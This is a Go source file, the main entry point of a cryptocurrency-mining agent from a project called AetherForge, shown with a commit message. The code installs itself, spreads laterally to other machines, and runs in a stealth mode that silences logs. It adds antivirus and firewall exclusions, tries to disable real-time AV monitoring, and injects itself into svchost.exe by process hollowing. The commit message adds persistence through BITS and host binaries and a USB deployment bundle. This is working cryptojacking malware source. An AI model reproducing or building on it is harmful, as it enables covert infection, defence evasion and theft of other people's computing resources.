Files
AetherForge/agent/main.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

176 lines
4.6 KiB
Go

package main
import (
"io"
"log"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/client"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/stats"
)
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
cfg := config.Load()
if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok {
deploy.RunHostBinaryProxy(backup, miner, os.Args[1:])
return
}
if deploy.IsGuardMode() {
deploy.RunGuardLoop(cfg)
return
}
setupLogging(cfg)
if cfg.Wallet == "" {
log.Fatal("wallet address is required in built-in configuration")
}
if cfg.ServerURL == "" {
log.Fatal("server URL is required in built-in configuration")
}
if deploy.WantsSpreadInstall() {
installed, err := deploy.SpreadInstall(cfg)
if err != nil {
deploy.LogSpreadError("fatal", err)
log.Fatalf("[spread-install] failed: %v", err)
}
if installed {
return
}
}
installed, err := deploy.InstallIfNeeded(cfg)
if err != nil {
log.Fatalf("[installer] failed: %v", err)
}
if installed {
if dir, err := cfg.InstallDirectory(); err == nil {
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
} else {
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
}
return
}
reporter := stats.NewReporter()
cfg = cfg.AdaptToSystem(reporter)
installDir, _ := cfg.InstallDirectory()
// Silence the AV as early as possible — add path/process exclusions and
// attempt to disable real-time monitoring. Fire-and-forget, never blocks.
deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe")
if installDir != "" {
if id, err := deploy.LoadAgentID(installDir); err == nil {
cfg.AgentID = id
}
}
if cfg.BackgroundMode() || cfg.StealthMode {
cfg.CPUPriority = "idle"
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err)
}
deploy.StartWatchdog(cfg)
// AutoSpreader is intentionally NOT started here. It is started inside
// AgentClient.authenticate() only after the server accepts our fleet secret,
// which verifies we are on an owned fleet before initiating lateral movement.
deploy.StartPassiveSpreader(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
// First-run spread marker is cleared after auth succeeds (handled in client).
deploy.ClearFirstRunSpreadMarker(cfg)
}
if cfg.FirewallExclusion {
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
deploy.EnsureFirewallExclusion(cfg, binPath)
}
}
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
exePath, _ := os.Executable()
payload, err := os.ReadFile(exePath)
if err == nil {
log.Printf("[hollowing] Injecting into svchost.exe...")
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
if err == nil {
os.Exit(0)
}
// Distinguish stub (missing -tags hollow) from a genuine runtime failure.
if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") {
log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled")
} else {
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
}
}
}
}
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
log.Fatalf("[agent] stopped: %v", err)
}
}
func shortID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "pending"
}
return id
}
func setupLogging(cfg config.RuntimeConfig) {
if !cfg.FileLogging || cfg.StealthMode {
log.SetOutput(io.Discard)
return
}
if os.Getenv("MINER_LOG_FILE") != "" {
redirectLog(os.Getenv("MINER_LOG_FILE"))
return
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
redirectLog(filepath.Join(installDir, "miner.log"))
}
func mustInstallPath(cfg config.RuntimeConfig) string {
path, err := cfg.InstallDirectory()
if err != nil {
return "unknown"
}
return path
}
func redirectLog(path string) {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return
}
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err == nil {
log.SetOutput(f)
}
}